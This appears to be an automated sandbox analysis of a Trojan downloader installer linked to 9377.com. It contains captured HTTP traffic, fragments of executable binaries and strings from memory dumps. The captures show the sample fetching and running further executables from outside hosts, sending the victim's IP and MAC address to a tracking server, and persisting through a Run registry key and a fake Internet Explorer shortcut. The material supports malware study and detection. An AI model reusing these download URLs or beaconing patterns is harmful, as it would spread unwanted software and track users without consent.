Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01
HTTP/1.1 200 OK
Expires: Wed, 08 Jun 2016 00:42:25 GMT
Date: Mon, 09 May 2016 00:42:25 GMT
Server: nginx/1.4.7
Content-Type: image/jpeg
Content-Length: 12474
Last-Modified: Wed, 25 Jun 2014 07:41:24 GMT
ETag: "53aa7d24-30ba"
Cache-Control: max-age=2592000
Accept-Ranges: bytes
Age: 1
X-Via: 1.1 zhdx182:80 (Cdn Cache Server V2.0), 1.1 db78:2 (Cdn Cache Server V2.0)
Connection: keep-alive
......Exif..II*.................Ducky.......<..... hXXp://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:0D31EEDBFC3611E387349672F438A3D7" xmpMM:DocumentID="xmp.did:0D31EEDCFC3611E387349672F438A3D7"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0D31EED9FC3611E387349672F438A3D7" stRef:documentID="xmp.did:0D31EEDAFC3611E387349672F438A3D7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.................................................................................................................................................x.............................................................................................!.1A.Qa"..q.2.BRr.#....b.3.....$.V..C...Scs..4T.U6.'.......................!1.AQ..a..".q..2BR.S.....C....#.br..$............?..e...=..:.7.E..Oae:K.1 N.=..S,p..S..lm.I.....S.HU\....MT.Bp.z..1.S.4............?R/.5[...|.....|#...C..(p......^....|....N.>...A....8.s......%............Y>(....?........:..........r.>.n9..d_/K&o|..S.2.r?..d..^-..#....................
<<< skipped >>>
GET /index/fulldownload/30911 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: shadu.baidu.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 302 Moved Temporarily
Date: Mon, 09 May 2016 04:52:14 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: PHPSESSID=v9klu4ged46qkidvfdgqfkjln6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: hXXp://w.x.baidu.com/go/full/2/30911
Set-Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1; expires=Tue, 09-May-17 04:52:14 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1
P3P: CP=" OTI DSP COR IVA OUR IND COM "
tracecode: 31341358420599538186050912
Server: Apache
0..HTTP/1.1 302 Moved Temporarily..Date: Mon, 09 May 2016 04:52:14 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..Set-Cookie: PHPSESSID=v9klu4ged46qkidvfdgqfkjln6; path=/..Expires: Thu, 19 Nov 1981 08:52:00 GMT..Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0..Pragma: no-cache..Location: hXXp://w.x.baidu.com/go/full/2/30911..Set-Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1; expires=Tue, 09-May-17 04:52:14 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1..P3P: CP=" OTI DSP COR IVA OUR IND COM "..tracecode: 31341358420599538186050912..Server: Apache..0..
GET /dudu/netbian_a_41763.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: down.qunasou.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Mon, 09 May 2016 04:51:49 GMT
Content-Type: text/html
Content-Length: 186
Connection: close
<html>..<head><title>500 Internal Server Error</title></head>..<body bgcolor="white">..<center><h1>500 Internal Server Error</h1></center>..<hr><center>nginx</center>..</body>..</html>....
GET /d/ins1256858.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: g.quwen320.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: Rising Cloud Server
Date: Mon, 09 May 2016 04:52:16 GMT
Content-Type: application/octet-stream
Content-Length: 4561520
Last-Modified: Fri, 07 Aug 2015 07:42:49 GMT
Connection: keep-alive
Expires: Mon, 09 May 2016 05:52:16 GMT
Cache-Control: max-age=3600
Accept-Ranges: bytes
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zf@.>...>...>.....!.#.....q.?.....s.1...>./.......N.n.....q.......p.?.....t.?...Rich>...........................PE..L...T..S.....................0............... ....@..........................P........E......................................K..p.... ... ...........{E.................................................H...........................................UPX0....................................UPX1.............t..................@....rsrc....0... .......x..............@..............................................................................................................................................................................................................................................................................................................................................................................................3.07.UPX!......;KV..wR....p....M.&....^;...(.\M.U..A.K.;Uw$8S..(.O..tDlG(.a.R..-@.`...i...(...`..3.............:...G......C.(....w.Q.........[...p.9..k...A.Z..D%.a...i..2A .O`/............ Mm.r[nO..z..%...oj..HnI....2:iL.S6..Mo..%lG.....s{A.<.3..g..XTy^.nH........=L.&.5Z$j..M..l.~= .c9p..~..^...z3..,c...u.$.;D...bI\Qh..8`.Z3..D..I...}..a..;\x...O...........e.t..U..Z.5..PM.C*.c{........F.a;@$q.j....4...v....W).O<v.......o..e..=Z.?M.....I..3...$ ...&.`f.m...'..,..Jj.p#...uQ...Y..1U....]!.[;@.LW...9.y.._...\......]..XF.Uu.m..
<<< skipped >>>
POST /api/client_data_receive.php?Name=9377meiying&Channel=mgaz2&referer_param=01&Version=1.1.0.8&IP=192.168.11.128&MAC=00-0C-29-FD-55-AD&Installtime=2016/5/9/7:52:13&ExeName=C:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz2.tmp\9377mycs_Y_mgaz2_01.exe HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: VVV.9377.com
Content-Length: 223
Connection: Keep-Alive
Cache-Control: no-cache
Name=9377meiying&Channel=mgaz2&referer_param=01&Version=1.1.0.8&IP=192.168.11.128&MAC=00-0C-29-FD-55-AD&Installtime=2016/5/9/7:52:13&ExeName=%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\9377mycs_Y_mgaz2_01.exe
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 May 2016 04:52:13 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
X-Via: 9377 g6.wxg.6.s
0..HTTP/1.1 200 OK..Server: nginx..Date: Mon, 09 May 2016 04:52:13 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Vary: Accept-Encoding..X-Via: 9377 g6.wxg.6.s..0..
GET /iplookup/iplookup.php HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: int.dpool.sina.com.cn
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: Tengine
Date: Mon, 09 May 2016 04:51:47 GMT
Content-Type: text/html; charset=gbk
Content-Length: 20
Connection: close
DPOOL_HEADER: tyr105
SINA-LB:aGEuMTE5LmcyLnlmLmxiLnNpbmFub2RlLmNvbQ==
SINA-TS:OThmMjk2Y2UgMCAwIDAgNCAwCg==
1.-1.-1...............
GET /go/full/2/30911 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: w.x.baidu.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1
HTTP/1.1 302 Moved Temporarily
Date: Mon, 09 May 2016 04:52:15 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Location: .exe
tracecode: 31356611610599538186050912
Server: Apache
0......
GET /go/full/2/.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: w.x.baidu.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1
HTTP/1.1 200 OK
Date: Mon, 09 May 2016 04:52:16 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
tracecode: 31362437230599538186050912
Server: Apache
6..url=""..0..HTTP/1.1 200 OK..Date: Mon, 09 May 2016 04:52:16 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..tracecode: 31362437230599538186050912..Server: Apache..6..url=""..0......
GET /go/full/1/70988 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: w.x.baidu.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1
HTTP/1.1 302 Moved Temporarily
Date: Mon, 09 May 2016 04:52:16 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Location: .exe
tracecode: 31369573360599538186050912
Server: Apache
0......
GET /go/full/1/.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: w.x.baidu.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1
HTTP/1.1 200 OK
Date: Mon, 09 May 2016 04:52:17 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
tracecode: 31375684600599538186050912
Server: Apache
6..url=""..0..HTTP/1.1 200 OK..Date: Mon, 09 May 2016 04:52:17 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..tracecode: 31375684600599538186050912..Server: Apache..6..url=""..0..
GET /BaiduPlayerContent/BaiduPlayerNetSetup_481.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: dl.p2sp.baidu.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1
HTTP/1.1 404 Not Found
Server: nginx
Date: Mon, 09 May 2016 04:52:20 GMT
Content-Type: text/html
Content-Length: 162
Connection: close
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx</center>..</body>..</html>....
GET /20140928/9377mycs_Y_mgaz2_01.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: xiazai.9377.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Sun, 08 May 2016 10:27:28 GMT
Server: nginx
Content-Type: application/octet-stream
Content-Length: 665024
Last-Modified: Thu, 23 Oct 2014 08:03:45 GMT
Accept-Ranges: bytes
Age: 1
X-Via: 1.1 fuzhou189:8105 (Cdn Cache Server V2.0), 1.1 db77:1 (Cdn Cache Server V2.0)
Connection: keep-alive
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@.................................9a.......................................s.......`...3...........................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata... ...@...........................rsrc....3...`...4...v..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>
GET /pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: client.9377.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 May 2016 04:52:16 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; path=/; domain=9377.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lm=mgaz2; expires=Mon, 09-May-2016 05:52:16 GMT; path=/; domain=9377.com
Set-Cookie: referer_param=01; expires=Mon, 09-May-2016 05:52:16 GMT; path=/; domain=9377.com
Set-Cookie: check_stack=1
Set-Cookie: rnd=1; expires=Sun, 30-Dec-1979 00:00:00 GMT
X-Via: 9377 g6.wxg.8.s
afb..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml">.<head>.<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />.<title>............</title>.<link rel="stylesheet" type="text/css" href="hXXp://cdnsource.9377.com/style/my/pc_new.css?20160509101453" />.<script type="text/javascript" src="hXXp://cdnsource.9377.com/js/ajax.js?20160509101453"></script>.<script type="text/javascript" src="hXXp://cdnsource.9377.com/js/jquery.Slideshow.js?20160509101453"></script>.<script>.//............url.$(function(){..$("#Slideshow").Slideshow({isHasTitleBar: false});.}).</script>.</head>..<body>...<script type="text/javascript" src="hXXp://cdnsource.9377.com/js/fast_register.js?20160509101453"></script>..<script type="text/javascript">.function submit_form(){..var form = $('#form');..if(!$.trim($('#username').val()) || !$.trim($('#password').val())){...alert('...........................');...return false;..}..var password = form.find('input[name=PASSWORD]');..password.clone(true).attr('name', 'PASSWORD1').val(password.val()).hide().appendTo(form);....form.get(0).submit();....return false;.}.</script>..<div id="quick_register">. <form action="hXXp://wvw.9377.com/register.php" method="post" id="foucs">. <input type="hidden" name="do" value="register" />. <inp
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_1388:
.text
.text
`.rdata
`.rdata
@.data
@.data
.ndata
.ndata
.rsrc
.rsrc
uDSSh
uDSSh
.DEFAULT\Control Panel\International
.DEFAULT\Control Panel\International
Software\Microsoft\Windows\CurrentVersion
Software\Microsoft\Windows\CurrentVersion
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
ExitWindowsEx
ExitWindowsEx
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
SHFileOperationA
SHFileOperationA
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
RegEnumKeyA
RegEnumKeyA
RegCreateKeyExA
RegCreateKeyExA
RegCloseKey
RegCloseKey
RegDeleteKeyA
RegDeleteKeyA
RegOpenKeyExA
RegOpenKeyExA
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
ole32.dll
ole32.dll
VERSION.dll
VERSION.dll
verifying installer: %d%%
verifying installer: %d%%
hXXp://nsis.sf.net/NSIS_Error
hXXp://nsis.sf.net/NSIS_Error
... %d%%
... %d%%
~nsu.tmp
~nsu.tmp
%u.%u%s%s
%u.%u%s%s
RegDeleteKeyExA
RegDeleteKeyExA
%s=%s
%s=%s
*?|/":
*?|/":
OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\inetc.dll
OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\inetc.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\inetc.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\inetc.dll
plorer.lnk
plorer.lnk
8369.exe/40.jpg
8369.exe/40.jpg
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp
2.ico
2.ico
b62e7f8369.exe/40.jpg
b62e7f8369.exe/40.jpg
.reloc
.reloc
KERNEL32.DLL
KERNEL32.DLL
NTDLL.DLL
NTDLL.DLL
nsProcess.dll
nsProcess.dll
u.Wj@
u.Wj@
MSVCRT.dll
MSVCRT.dll
HttpSendRequestA
HttpSendRequestA
HttpSendRequestExA
HttpSendRequestExA
HttpQueryInfoA
HttpQueryInfoA
FtpCreateDirectoryA
FtpCreateDirectoryA
FtpOpenFileA
FtpOpenFileA
HttpOpenRequestA
HttpOpenRequestA
HttpAddRequestHeadersA
HttpAddRequestHeadersA
HttpEndRequestA
HttpEndRequestA
InternetCrackUrlA
InternetCrackUrlA
WININET.dll
WININET.dll
inetc.dll
inetc.dll
Open URL Error
Open URL Error
URL Parts Error
URL Parts Error
FtpCreateDir failed (550)
FtpCreateDir failed (550)
Error FTP path (550)
Error FTP path (550)
Downloading %s
Downloading %s
%dkB (%d%%) of %dkB @ %d.dkB/s
%dkB (%d%%) of %dkB @ %d.dkB/s
(%d %s%s remaining)
(%d %s%s remaining)
REST %d
REST %d
SIZE %s
SIZE %s
Content-Length: %d
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
Authorization: basic %s
Authorization: basic %s
Proxy-authorization: basic %s
Proxy-authorization: basic %s
%s:%s
%s:%s
FtpCommandA
FtpCommandA
wininet.dll
wininet.dll
%u MB
%u MB
%u kB
%u kB
%u bytes
%u bytes
%d:d:d
%d:d:d
%s - %s
%s - %s
(Err=%d)
(Err=%d)
NSIS_Inetc (Mozilla)
NSIS_Inetc (Mozilla)
/password
/password
Uploading %s
Uploading %s
'%Fu@
'%Fu@
e%uy%u
e%uy%u
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\1.rar
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\1.rar
%original file name%.exe
%original file name%.exe
59E6B6~1.EXE
59E6B6~1.EXE
PlayerNetSetup_481.exe
PlayerNetSetup_481.exe
Windows XP
Windows XP
LOCALS~1\Temp\nsz2.tmp\nsr3.tmp
LOCALS~1\Temp\nsz2.tmp\nsr3.tmp
OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\1.rar
OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\1.rar
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\1.rar
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp\1.rar
OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp
OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp
1.rar
1.rar
hXXp://f.handanxinyuan.com
hXXp://f.handanxinyuan.com
hXXp://123.sogou.com/?21674
hXXp://123.sogou.com/?21674
ieframe.dll
ieframe.dll
ins1256858.exe
ins1256858.exe
etup_481.exe
etup_481.exe
d.exe
d.exe
S~1\Temp\nsz2.tmp\nsr3.tmp
S~1\Temp\nsz2.tmp\nsr3.tmp
p://int.dpool.sina.com.cn/iplookup/iplookup.php
p://int.dpool.sina.com.cn/iplookup/iplookup.php
hXXp://g.quwen320.com/d/ins1256858.exe
hXXp://g.quwen320.com/d/ins1256858.exe
tent/BaiduPlayerNetSetup_481.exe
tent/BaiduPlayerNetSetup_481.exe
c:\%original file name%.exe
c:\%original file name%.exe
%WinDir%\AppPatch
%WinDir%\AppPatch
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz1.tmp
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz1.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
&'()*) ,
&'()*) ,
.%/01234567)89!:;?#
.%/01234567)89!:;?#
H.IJKLM@@N2B567OPQRS
H.IJKLM@@N2B567OPQRS
23456789
23456789
!"#$%&'(
!"#$%&'(
6789:;?
6789:;?
Nullsoft Install System v2.46
Nullsoft Install System v2.46
%Documents and Settings%\%current user%\Desktop\Intrenet Explorer.lnk
%Documents and Settings%\%current user%\Desktop\Intrenet Explorer.lnk
nst.lnk
nst.lnk
%original file name%.exe_1388_rwx_10004000_00001000:
callback%d
callback%d
iexplore.exe_1796:
%?9-*09,*19}*09
%?9-*09,*19}*09
.text
.text
`.data
`.data
.rsrc
.rsrc
msvcrt.dll
msvcrt.dll
KERNEL32.dll
KERNEL32.dll
NTDLL.DLL
NTDLL.DLL
USER32.dll
USER32.dll
SHLWAPI.dll
SHLWAPI.dll
SHDOCVW.dll
SHDOCVW.dll
Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess
Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess
IE-X-X
IE-X-X
rsabase.dll
rsabase.dll
System\CurrentControlSet\Control\Windows
System\CurrentControlSet\Control\Windows
dw15 -x -s %u
dw15 -x -s %u
watson.microsoft.com
watson.microsoft.com
IEWatsonURL
IEWatsonURL
%s -h %u
%s -h %u
iedw.exe
iedw.exe
Iexplore.XPExceptionFilter
Iexplore.XPExceptionFilter
jscript.DLL
jscript.DLL
mshtml.dll
mshtml.dll
mlang.dll
mlang.dll
urlmon.dll
urlmon.dll
wininet.dll
wininet.dll
shdocvw.DLL
shdocvw.DLL
browseui.DLL
browseui.DLL
comctl32.DLL
comctl32.DLL
IEXPLORE.EXE
IEXPLORE.EXE
iexplore.pdb
iexplore.pdb
ADVAPI32.dll
ADVAPI32.dll
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
IExplorer.EXE
IExplorer.EXE
IIIIIB(II<.fg>
IIIIIB(II<.fg>
7?_____ZZSSH%
7?_____ZZSSH%
)z.UUUUUUUU
)z.UUUUUUUU
,....Qym
,....Qym
````2```
````2```
{.QLQIIIKGKGKGKGKGKG
{.QLQIIIKGKGKGKGKGKG
;33;33;0
;33;33;0
8888880
8888880
8887080
8887080
browseui.dll
browseui.dll
shdocvw.dll
shdocvw.dll
6.00.2900.5512 (xpsp.080413-2105)
6.00.2900.5512 (xpsp.080413-2105)
Windows
Windows
Operating System
Operating System
6.00.2900.5512
6.00.2900.5512
MYLogger.exe_284:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
>.uBV
>.uBV
It.It It!It
It.It It!It
vSSSh
vSSSh
FTPjK
FTPjK
FtPj;
FtPj;
C.PjRV
C.PjRV
FRegDeleteKeyExW
FRegDeleteKeyExW
kernel32.dll
kernel32.dll
Please contact the application's support team for more information.
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
ADVAPI32.DLL
ADVAPI32.DLL
operator
operator
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
portuguese-brazilian
portuguese-brazilian
2\Release\Logger.pdb
2\Release\Logger.pdb
GetProcessHeap
GetProcessHeap
KERNEL32.dll
KERNEL32.dll
EnumChildWindows
EnumChildWindows
CreateDialogIndirectParamW
CreateDialogIndirectParamW
USER32.dll
USER32.dll
SetViewportOrgEx
SetViewportOrgEx
GDI32.dll
GDI32.dll
RegDeleteKeyW
RegDeleteKeyW
RegCloseKey
RegCloseKey
RegCreateKeyExW
RegCreateKeyExW
RegOpenKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegQueryInfoKeyW
RegEnumKeyExW
RegEnumKeyExW
RegOpenKeyW
RegOpenKeyW
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
SHLWAPI.dll
SHLWAPI.dll
COMCTL32.dll
COMCTL32.dll
MSIMG32.dll
MSIMG32.dll
FindCloseUrlCache
FindCloseUrlCache
DeleteUrlCacheEntryW
DeleteUrlCacheEntryW
FindNextUrlCacheEntryW
FindNextUrlCacheEntryW
FindFirstUrlCacheEntryW
FindFirstUrlCacheEntryW
HttpQueryInfoW
HttpQueryInfoW
HttpSendRequestW
HttpSendRequestW
HttpAddRequestHeadersW
HttpAddRequestHeadersW
HttpOpenRequestW
HttpOpenRequestW
InternetCrackUrlW
InternetCrackUrlW
WININET.dll
WININET.dll
GdiplusShutdown
GdiplusShutdown
gdiplus.dll
gdiplus.dll
SensApi.dll
SensApi.dll
VERSION.dll
VERSION.dll
WINTRUST.dll
WINTRUST.dll
CryptMsgClose
CryptMsgClose
CertCloseStore
CertCloseStore
CertFreeCertificateContext
CertFreeCertificateContext
CertGetNameStringW
CertGetNameStringW
CertFindCertificateInStore
CertFindCertificateInStore
CryptMsgGetParam
CryptMsgGetParam
CRYPT32.dll
CRYPT32.dll
IPHLPAPI.DLL
IPHLPAPI.DLL
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
.?AVMyWebEvent@@
.?AVMyWebEvent@@
.?AV?$IDispEventSimpleImpl@$00VMyWebEvent@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@
.?AV?$IDispEventSimpleImpl@$00VMyWebEvent@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@
.?AV?$_IDispEventLocator@$00$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@
.?AV?$_IDispEventLocator@$00$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@
.?AV?$CComObject@VMyWebBrowser@@@ATL@@
.?AV?$CComObject@VMyWebBrowser@@@ATL@@
.?AVMyWebBrowser@@
.?AVMyWebBrowser@@
.?AV?$WebBrowserWnd@VMyWebEvent@@@@
.?AV?$WebBrowserWnd@VMyWebEvent@@@@
.?AV?$CWindowImpl@V?$WebBrowserWnd@VMyWebEvent@@@@V?$CAxWindowT@VCWindow@ATL@@@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@
.?AV?$CWindowImpl@V?$WebBrowserWnd@VMyWebEvent@@@@V?$CAxWindowT@VCWindow@ATL@@@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@
.?AV?$bind_t@XV?$mf1@XVScriptPopup@@PAVHttpTask@@@_mfi@boost@@V?$list2@V?$value@PAVScriptPopup@@@_bi@boost@@U?$arg@$00@3@@_bi@3@@_bi@boost@@
.?AV?$bind_t@XV?$mf1@XVScriptPopup@@PAVHttpTask@@@_mfi@boost@@V?$list2@V?$value@PAVScriptPopup@@@_bi@boost@@U?$arg@$00@3@@_bi@3@@_bi@boost@@
.?AV?$bind_t@XV?$mf1@XVPopupWinManager@@PAVHttpTask@@@_mfi@boost@@V?$list2@V?$value@PAVPopupWinManager@@@_bi@boost@@U?$arg@$00@3@@_bi@3@@_bi@boost@@
.?AV?$bind_t@XV?$mf1@XVPopupWinManager@@PAVHttpTask@@@_mfi@boost@@V?$list2@V?$value@PAVPopupWinManager@@@_bi@boost@@U?$arg@$00@3@@_bi@3@@_bi@boost@@
.?AVHttpTask@@
.?AVHttpTask@@
.?AVHttpTaskImpl@@
.?AVHttpTaskImpl@@
zcÁ
zcÁ
ShockwaveFlash.ShockwaveFlash
ShockwaveFlash.ShockwaveFlash
WAdvapi32.dll
WAdvapi32.dll
HKEY_CLASSES_ROOT
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
HKEY_CURRENT_CONFIG
@LoginForm
@LoginForm
Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.
Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.
web_browser
web_browser
%s|%s|%s
%s|%s|%s
passport=
passport=
clientCallJs(%d, %d, %d, %d)
clientCallJs(%d, %d, %d, %d)
MSScriptControl.ScriptControl
MSScriptControl.ScriptControl
%s|%s|%s|%s
%s|%s|%s|%s
%X,%s
%X,%s
DSoftware\Microsoft\Windows\CurrentVersion\Run
DSoftware\Microsoft\Windows\CurrentVersion\Run
%d.%d.%d.%d
%d.%d.%d.%d
D.ini
D.ini
"%s" "%d"
"%s" "%d"
desktop.ini
desktop.ini
HttpClient
HttpClient
mscoree.dll
mscoree.dll
KERNEL32.DLL
KERNEL32.DLL
%Program Files%\9377
%Program Files%\9377
\MYLogger.exe
\MYLogger.exe
1, 0, 0, 4
1, 0, 0, 4
Copyright (c) 2013 9377.com
